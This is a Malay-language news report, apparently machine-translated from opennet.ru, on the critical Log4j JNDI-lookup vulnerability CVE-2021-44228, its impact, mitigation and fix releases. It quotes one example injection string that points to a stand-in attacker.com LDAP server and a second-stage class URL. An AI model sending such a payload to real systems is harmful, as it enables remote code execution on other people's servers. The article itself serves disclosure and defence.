Kerentanan bencana dalam Apache Log4j menjejaskan banyak projek Java

Dalam Apache Log4j, rangka kerja popular untuk mengatur pengelogan dalam aplikasi Java, kerentanan kritikal telah dikenal pasti yang membolehkan kod arbitrari dilaksanakan apabila nilai yang diformat khas dalam format "{jndi:URL}" ditulis pada log. Serangan boleh dilakukan pada aplikasi Java yang mencatatkan nilai yang diterima daripada sumber luaran, contohnya, apabila memaparkan nilai bermasalah dalam mesej ralat.

Adalah diperhatikan bahawa hampir semua projek yang menggunakan rangka kerja seperti Apache Struts, Apache Solr, Apache Druid atau Apache Flink terjejas oleh masalah tersebut, termasuk Steam, Apple iCloud, pelanggan dan pelayan Minecraft. Dijangkakan bahawa kelemahan itu boleh membawa kepada gelombang serangan besar-besaran terhadap aplikasi korporat, mengulangi sejarah kelemahan kritikal dalam rangka kerja Apache Struts, yang, menurut anggaran kasar, digunakan dalam aplikasi web sebanyak 65% dari Fortune. 100 syarikat termasuk percubaan untuk mengimbas rangkaian untuk sistem yang terdedah.

Masalahnya diperburuk oleh fakta bahawa eksploitasi kerja telah diterbitkan, tetapi pembaikan untuk cawangan stabil belum lagi disusun. Pengecam CVE masih belum diberikan. Pembaikan hanya disertakan dalam cabang ujian log4j-2.15.0-rc1. Sebagai penyelesaian untuk menyekat kelemahan, adalah disyorkan untuk menetapkan parameter log4j2.formatMsgNoLookups kepada benar.

Masalahnya disebabkan oleh fakta bahawa log4j menyokong pemprosesan topeng khas "{}" dalam baris output ke log, di mana pertanyaan JNDI (Java Penamaan dan Antara Muka Direktori) boleh dilaksanakan. Serangan bermuara kepada menghantar rentetan dengan penggantian "${jndi:ldap://attacker.com/a}", apabila memproses log4j yang akan menghantar permintaan LDAP untuk laluan ke kelas Java ke pelayan attacker.com . Laluan yang dikembalikan oleh pelayan penyerang (contohnya, http://second-stage.attacker.com/Exploit.class) akan dimuatkan dan dilaksanakan dalam konteks proses semasa, yang membolehkan penyerang melaksanakan kod arbitrari pada sistem dengan hak aplikasi semasa.

Tambahan 1: Kerentanan telah diberikan pengecam CVE-2021-44228.

Tambahan 2: Satu cara untuk memintas perlindungan yang ditambahkan oleh keluaran log4j-2.15.0-rc1 telah dikenal pasti. Kemas kini baharu, log4j-2.15.0-rc2, telah dicadangkan dengan perlindungan yang lebih lengkap terhadap kelemahan. Kod tersebut menyerlahkan perubahan yang dikaitkan dengan ketiadaan penamatan yang tidak normal dalam kes menggunakan URL JNDI yang tidak diformatkan dengan betul.

Sumber: opennet.ru

Tambah komen